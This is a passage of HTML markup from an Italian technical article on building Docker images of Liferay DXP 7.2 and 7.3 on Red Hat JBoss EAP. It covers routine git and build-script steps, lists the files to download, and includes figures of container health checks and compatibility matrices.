  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 23 - Verifica del servizio Liferay dopo la creazione del container. Servizio in fase di starting&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/16fbe952009750c2bd6b089049b943af/bf286/docker-ps-check-status-container-healthy.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:10.333333333333334%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;41\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%2041\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2021v20h401V0H0v21M80%202H2v6h63a539%20539%200%200065-1l70%201c66%200%2070%200%2071-2%202-2%202-2%200-3-2-2-6-2-57-2L80%202m0%2032H2v6h63a539%20539%200%200065-1l70%201c66%200%2070%200%2071-2%202-2%202-2%200-3-2-2-6-2-57-2L80%2034\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/16fbe952009750c2bd6b089049b943af/c85cb/docker-ps-check-status-container-healthy.webp 300w,/static/16fbe952009750c2bd6b089049b943af/e88ff/docker-ps-check-status-container-healthy.webp 600w,/static/16fbe952009750c2bd6b089049b943af/92f8c/docker-ps-check-status-container-healthy.webp 1200w,/static/16fbe952009750c2bd6b089049b943af/289e4/docker-ps-check-status-container-healthy.webp 1688w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/16fbe952009750c2bd6b089049b943af/5a46d/docker-ps-check-status-container-healthy.png 300w,/static/16fbe952009750c2bd6b089049b943af/0a47e/docker-ps-check-status-container-healthy.png 600w,/static/16fbe952009750c2bd6b089049b943af/c1b63/docker-ps-check-status-container-healthy.png 1200w,/static/16fbe952009750c2bd6b089049b943af/bf286/docker-ps-check-status-container-healthy.png 1688w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 24 - Verifica del servizio Liferay dopo la creazione del container. Servizio attivo&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/16fbe952009750c2bd6b089049b943af/c1b63/docker-ps-check-status-container-healthy.png&quot; title=&quot;Figura 24 - Verifica del servizio Liferay dopo la creazione del container. Servizio attivo&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 24 - Verifica del servizio Liferay dopo la creazione del container. Servizio attivo&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Una volta effettuate tutte le verifiche circa la bontà dell&amp;#x27;immagine, è possibile
procedere con l&amp;#x27;operazione di commit e push dei file modificati sul repository Git
e successivamente con il push dell&amp;#x27;immagine appena creata sul repository Docker.&lt;/p&gt;&lt;p&gt;Per le successive operazioni di creazione dell&amp;#x27;immagine, l&amp;#x27;operatività è semplificata
considerando che non è più necessario installare l&amp;#x27;estensione liferay-docker e
quanto meno inizializzare il repository Git. In Console 9 sono mostrate le
operazioni da seguire nel caso in cui abbiate già compiuto altre build.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;8&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Step 1 Clone del repository liferay-docker e creazione di un nuovo branch di build immagine Liferay&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;#  - Sostituire la URL del repository Git con la propria&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ git clone https://github.com/smclab/liferay-docker.git&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ git checkout -b build/liferay-dxp-7.2.10-sp-3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Step 2 Preparazione della directory che conterrà i bundle per Liferay DXP 7.2 SP 3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;cd&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; liferay-docker&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ cp -a ~/Downloads/bundles &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Step 3 Esecuzione del processo di build dell&amp;#x27;immagine&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ ./build_local_image.sh bundles amusarra/liferay-dxp liferay-dxp-7.2.10-sp-3 no-push jboss-eap&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 9 - Procedura per iniziare la creazione di una nuova immagine Docker di Liferay partendo dal repository Git&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h2 id=&quot;8-creare-unimmagine-con-liferay-dxp-73&quot;&gt;8. Creare un&amp;#x27;immagine con Liferay DXP 7.3&lt;/h2&gt;&lt;p&gt;Ci siamo! Come promesso ad inizio articolo vediamo come creare l&amp;#x27;immagine Docker
utilizzando la nuova versione di Liferay DXP rilasciata 13 ottobre 2020.&lt;/p&gt;&lt;p&gt;Il procedimento rimane assolutamente invariato (vedi Figura 20 - Step essenziali
per la creazione dell&amp;#x27;immagine Docker Liferay DXP + JBoss EAP). Il primo passo è
il download dei file di Liferay DXP 7.3 da scaricare dal Customer Portal di Liferay.&lt;/p&gt;&lt;p&gt;Il file sono quelli indicati a seguire.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Liferay DXP Dependencies: liferay-dxp-dependencies-7.3.10-ga1-20200930160533946.zip&lt;/li&gt;&lt;li&gt;Liferay DXP OSGi Dependencies: liferay-dxp-osgi-7.3.10-ga1-20200930160533946.zip&lt;/li&gt;&lt;li&gt;Liferay DXP WAR: liferay-dxp-7.3.10-ga1-20200930160533946.war&lt;/li&gt;&lt;li&gt;Liferay Patching Tool: patching-tool-2.0.15.zip&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Il Patching Tool dovreste averlo già scaricato nel caso in cui abbiate fatto una
delle precedenti build per Liferay DXP 7.2. Per quel che riguarda la versione 7.3
non è necessario scaricare altro; appena uscita, per cui non ci sono Fix Pack anche
se consigliato installare comunque il Patching Tool. La figura a seguire mostra
la sezione download per Liferay DXP 7.3, con in evidenza i tipi di file di cui
eseguire il download.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/60be1991b40d5d82496213b7a1e48cc8/91608/liferay-dxp-7.3-files-download.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:60.66666666666667%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;243\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20243\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M50%20104l-1%2051-1%2051-2%204c0%202%200%202%202%202%201-1%201%200%201%208l1%209%201%201-1%201-2%201c-1%202%200%203%203%200h1c-1%202%205%202%206%201h2l1-1c0%202%2010%202%2011%200h1v2l1-1%201-1%201%201v1l1-2c0-2%201-2%2034-2%2032%200%2035%200%2035%202h1l1-2%202%202%201%202v-2h1c1%201%205%201%207-1h1l-1%202c-1%201-1%201%202%201s4-1%203-2l1-1%201%202%201%201v-1l1-2%201%201c1%203%203%203%202%200%200-2%200-2%201-1%200%202%201%202%203%201%201-2%207-2%2036-2%2034%200%2035%200%2035%202l1%202v-2l1-2%201%202%201%201%204%201%201-1v-1l1%201h1l1-2v2l1%201%202-1c0-1%201-1%201%201%201%201%201%201%201-1%201-3%203-4%203-1l1-1c2-1%202-1%202%201h2l4%201%203-1c-1-2%202-2%2022-2h24V104l-137-1-137%201m288%2015v7h46v-14l-23-1h-23v8M64%20189l-1%203c0%202%200%202%205%202h10l2-1h2c0-2%200-2%201-1%202%203%2012%203%2012%200h1l3%202c1%200%202%200%201-1l-1-1h1l1-1-6-1h-8v1l1%202-2-1c-1-1-4-2-10-2l-9-1h-3m19%2013c0%203%202%204%204%202h2l2%201h6l3-2h4c2%203%203%202%204-1%200-3%200-3-1-2H87l-2-1c-2%200-2%201-2%203\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/60be1991b40d5d82496213b7a1e48cc8/c85cb/liferay-dxp-7.3-files-download.webp 300w,/static/60be1991b40d5d82496213b7a1e48cc8/e88ff/liferay-dxp-7.3-files-download.webp 600w,/static/60be1991b40d5d82496213b7a1e48cc8/92f8c/liferay-dxp-7.3-files-download.webp 1200w,/static/60be1991b40d5d82496213b7a1e48cc8/e4396/liferay-dxp-7.3-files-download.webp 1251w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/60be1991b40d5d82496213b7a1e48cc8/5a46d/liferay-dxp-7.3-files-download.png 300w,/static/60be1991b40d5d82496213b7a1e48cc8/0a47e/liferay-dxp-7.3-files-download.png 600w,/static/60be1991b40d5d82496213b7a1e48cc8/c1b63/liferay-dxp-7.3-files-download.png 1200w,/static/60be1991b40d5d82496213b7a1e48cc8/91608/liferay-dxp-7.3-files-download.png 1251w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 25 - Sezione di download dei file di Liferay DXP 7.3&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/60be1991b40d5d82496213b7a1e48cc8/c1b63/liferay-dxp-7.3-files-download.png&quot; title=&quot;Figura 25 - Sezione di download dei file di Liferay DXP 7.3&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 25 - Sezione di download dei file di Liferay DXP 7.3&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Dal documento della &lt;a href=&quot;https://www.liferay.com/documents/10182/246659966/Liferay+DXP+7.3+Compatibility+Matrix.pdf/30fb6a1e-431d-7c84-e211-f2a0590013bf?t=1601420622638&quot;&gt;Matrice di Compatibilità di Liferay DXP 7.3&lt;/a&gt;
possiamo notare la compatibilità con l&amp;#x27;Application Server Red Hat JBoss EAP 7.3.
È ragionevole pensare d&amp;#x27;installare Liferay DXP 7.3 su JBoss EAP 7.3.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/a0b433ab0e584972f51b2f1a0c28d37e/33c15/liferay-dxp-7.3-compatibility-matrix.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:41%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;163\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20163\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M66%2013c0%207%201%208%206%206%206-3%203-13-4-13-2%200-2%200-2%207m1%20100c-3%202-4%203-4%2010%200%2010%202%2011%2017%2012%2012%201%2012%202%2013%204s1%202%201%200%203-3%203-1h1v1l1%202%201-3c0-2%202-1%202%201s0%202%201%201l1-2v2c1%201%201%201%201-1s1-2%204-2c8%200%2014-10%2011-21l-1-4H94l-27%201m0%202c-2%201-3%204-1%204l1%201-1%201c-1-1-1%201-1%203l1%205%201%202v1l36%203c9%200%2010%200%2012-3%203-3%205-9%204-14l-1-4H94l-27%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/a0b433ab0e584972f51b2f1a0c28d37e/c85cb/liferay-dxp-7.3-compatibility-matrix.webp 300w,/static/a0b433ab0e584972f51b2f1a0c28d37e/e88ff/liferay-dxp-7.3-compatibility-matrix.webp 600w,/static/a0b433ab0e584972f51b2f1a0c28d37e/92f8c/liferay-dxp-7.3-compatibility-matrix.webp 1200w,/static/a0b433ab0e584972f51b2f1a0c28d37e/c6d7b/liferay-dxp-7.3-compatibility-matrix.webp 1463w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/a0b433ab0e584972f51b2f1a0c28d37e/5a46d/liferay-dxp-7.3-compatibility-matrix.png 300w,/static/a0b433ab0e584972f51b2f1a0c28d37e/0a47e/liferay-dxp-7.3-compatibility-matrix.png 600w,/static/a0b433ab0e584972f51b2f1a0c28d37e/c1b63/liferay-dxp-7.3-compatibility-matrix.png 1200w,/static/a0b433ab0e584972f51b2f1a0c28d37e/33c15/liferay-dxp-7.3-compatibility-matrix.png 1463w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 26 - Sezione Application Server - Matrice Compatibilità Liferay DXP 7.3&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/a0b433ab0e584972f51b2f1a0c28d37e/c1b63/liferay-dxp-7.3-compatibility-matrix.png&quot; title=&quot;Figura 26 - Sezione Application Server - Matrice Compatibilità Liferay DXP 7.3&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 26 - Sezione Application Server - Matrice Compatibilità Liferay DXP 7.3&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Spostiamoci quindi sul Customer Portal di Red Hat per eseguire il download dei
seguenti file che riguardano la nuova versione di JBoss EAP 7.3.&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Red Hat JBoss Enterprise Application Platform 7.3: jboss-eap-7.3.0.zip&lt;/li&gt;&lt;li&gt;Red Hat JBoss Enterprise Application Platform 7.3 Patch: jboss-eap-7.3.3-patch.zip&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;Le due figure a seguire mostrano i file da scaricare che riguardano JBoss EAP 7.3.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/2e343c9e731311238046d52690541ff8/2a08f/readhat-customer-portal-downalod-jboss-eap-1.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:49%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;196\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20196\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M18%205c-1%201-2%202-4%201l-2%201H9L7%206h2c2%200%202%200%201-1-1-2-4-1-5%201l2%203%203%201H5c1%202%2010%202%2011%201h2c1%201%201%201%201-1%200-4%202-4%202-1l2%203%201-3-1-2%201%202c1%203%203%204%203%202h4c3%202%205%201%205-2s-4-5-4-1h-1l-1-1h-4l-4-1c-2%200-3-1-2-2%200-2-1-1-2%201m30%203c0%204%202%206%205%203%201-2%202-1%203%200h9c0%202%202%201%202-1l1-2v2c0%203%202%203%202-1%200-3%201-2%202%202%201%201%201%200%201-1%200-3-1-4-4-4l-3%201h-4l-4-1c-2%201-4%200-4-1l-4-1c-2%200-2%200-2%204m26%200c0%202%200%204%201%203h7l2%201%202-2h1l5%202c4%200%204-1%205-3%200-2-1-3-2-3l-3-1h-1l-5%202-2-1c-2%200-2%200-2%202%201%202%200%201-2-1h-3c-2%201-2%201-2-1-1-2-1%200-1%202m21%2020v2h3c1%202%202%202%203%201h4l11-1%2010-1%201%201c1%201%201%201%201-1l-2-2h-16l-2-1v-1l-1%201c0%201-1%202-4%201l-4%201h-1c0-3-2-3-3%200M5%2076v5h354V70H5v6M4%2089l1%207h394V82H4v7m2%200v5h391V84H6v5m284-1c-1%201%200%203%201%203l1-1v-1h2c-1%201%200%202%201%202h4c2%200%202%200%201-1h2c3%202%203%202%204%200h4l5%201c3%200%205-1%205-2%200-2-12-3-14-1h-5l-2-1-2%201h-7m-1%2012l1%202c1%202%207%202%207%201h1c2%201%207%201%209-2v1l1%202%201-1h10c2-2%200-4-3-4-2%200-3%200-2%201v1h-3c1-2-5-2-6%200h-1c0-2%200-2-1-1h-2l-2-1-2%201h-8m1%2087c-1%201%200%203%201%203l1-1v-1h2c-1%201%200%202%201%202h4c2%200%202%200%201-1h2c3%202%203%202%204%200h4l5%201c3%200%205-1%205-2%200-2-12-3-14-1h-5l-2-1-2%201h-7\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/2e343c9e731311238046d52690541ff8/c85cb/readhat-customer-portal-downalod-jboss-eap-1.webp 300w,/static/2e343c9e731311238046d52690541ff8/e88ff/readhat-customer-portal-downalod-jboss-eap-1.webp 600w,/static/2e343c9e731311238046d52690541ff8/92f8c/readhat-customer-portal-downalod-jboss-eap-1.webp 1200w,/static/2e343c9e731311238046d52690541ff8/bdb03/readhat-customer-portal-downalod-jboss-eap-1.webp 1422w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/2e343c9e731311238046d52690541ff8/5a46d/readhat-customer-portal-downalod-jboss-eap-1.png 300w,/static/2e343c9e731311238046d52690541ff8/0a47e/readhat-customer-portal-downalod-jboss-eap-1.png 600w,/static/2e343c9e731311238046d52690541ff8/c1b63/readhat-customer-portal-downalod-jboss-eap-1.png 1200w,/static/2e343c9e731311238046d52690541ff8/2a08f/readhat-customer-portal-downalod-jboss-eap-1.png 1422w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 27 - Sezione di download Red Hat JBoss Enterprise Application Platform 7.3&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/2e343c9e731311238046d52690541ff8/c1b63/readhat-customer-portal-downalod-jboss-eap-1.png&quot; title=&quot;Figura 27 - Sezione di download Red Hat JBoss Enterprise Application Platform 7.3&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 27 - Sezione di download Red Hat JBoss Enterprise Application Platform 7.3&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/dca4e26a1990ec30df927a5bb2bdc5dd/07a9c/readhat-customer-portal-downalod-jboss-eap-2.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:48.33333333333333%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;194\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20194\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M19%204l-4%201-2%201c-1%201-5%200-5-1h2c2%200%202%200%201-1L8%203C6%204%205%207%207%207l3%201-2%201H6c0%202%203%202%205%201h8l1-2c0-3%202-3%202%200l2%203%201-3c-1-2-1-2%200%200s3%203%203%201h3l1%201c2%202%207%201%207-2l1-2v1c0%201%202%204%204%204s1-2-1-2c-1-1-1-1%201-1%205%200%201-3-5-3l-5%201v1h-2c0-1-2-2-10-2-1%200-2-1-1-2l-2%201m29%203c0%204%202%205%205%203h3c2%201%205%200%205-1h7l1%201%201-2c0-3%202-2%202%202%201%201%201%200%201-2V5h-4l-5%201h-8l-2-1c-2-4-6-3-6%202m26%200c0%203%200%204%201%203%200-2%201-2%201-1s3%202%204%201h8l5%201c3-1%204-1%204-3s0-3-2-3l-3-1h-1l-5%202-2-1c-2%200-2%200%200%201%201%201%201%201-1%201l-2-1h-5c0%201-1%201-1-1-1-2-1-1-1%202M62%2027c0%202%200%202%207%202l8-1h1c0%202%200%202%202%202l3-1%201-1v-1l1%201%204%201%204-2c0-1-3-2-14-2-10%200-13%201-13%202l-1%201c-1%200-1-2%201-3l-2-1c-2%200-2%201-2%203m33-1v3h16l5-1h1l6%201c4%200%205%200%205-2l-4-1-4-1h-6l-1%201-1%202v-2l-2-1h-1l-3-1-5%201-2%201h-1c-2-2-2-2-3%200M6%2077L5%2090v3h390V80h-39l-1-6v-6H6v9m1%209v5h386V81H7v5\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/dca4e26a1990ec30df927a5bb2bdc5dd/c85cb/readhat-customer-portal-downalod-jboss-eap-2.webp 300w,/static/dca4e26a1990ec30df927a5bb2bdc5dd/e88ff/readhat-customer-portal-downalod-jboss-eap-2.webp 600w,/static/dca4e26a1990ec30df927a5bb2bdc5dd/92f8c/readhat-customer-portal-downalod-jboss-eap-2.webp 1200w,/static/dca4e26a1990ec30df927a5bb2bdc5dd/f992d/readhat-customer-portal-downalod-jboss-eap-2.webp 1440w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/dca4e26a1990ec30df927a5bb2bdc5dd/5a46d/readhat-customer-portal-downalod-jboss-eap-2.png 300w,/static/dca4e26a1990ec30df927a5bb2bdc5dd/0a47e/readhat-customer-portal-downalod-jboss-eap-2.png 600w,/static/dca4e26a1990ec30df927a5bb2bdc5dd/c1b63/readhat-customer-portal-downalod-jboss-eap-2.png 1200w,/static/dca4e26a1990ec30df927a5bb2bdc5dd/07a9c/readhat-customer-portal-downalod-jboss-eap-2.png 1440w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 28 - Sezione di download Red Hat JBoss Enterprise Application Platform 7.3 Patch&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/dca4e26a1990ec30df927a5bb2bdc5dd/c1b63/readhat-customer-portal-downalod-jboss-eap-2.png&quot; title=&quot;Figura 28 - Sezione di download Red Hat JBoss Enterprise Application Platform 7.3 Patch&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 28 - Sezione di download Red Hat JBoss Enterprise Application Platform 7.3 Patch&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Nuova versione di JBoss e nuovo template di configurazione (vedi 5.1. Template di
configurazione JBoss EAP) di cui trovate i relativi file sull&amp;#x27;estensione del progetto
&lt;a href=&quot;https://github.com/smclab/liferay-docker/tree/feature/build-with-jboss-eap/template/jboss-eap/7.3.0&quot;&gt;liferay-docker&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Per quel che riguarda Liferay non ci sono modifiche sostanziali da apportare
rispetto alla pracedente versione, rimane sempre valida la documentazione
&lt;a href=&quot;https://learn.liferay.com/dxp/7.x/en/installation-and-upgrades/installing-liferay/installing-liferay-on-an-application-server/installing-on-jboss-eap.html&quot;&gt;Installing on JBoss EAP&lt;/a&gt;.
La figura a seguire mostra la struttura del template di configurazione per JBoss EAP 7.3.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/0aad4a9c7900e5804e08f7134b880561/bc3ae/tree-directory-template-jboss-eap-7.3.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; 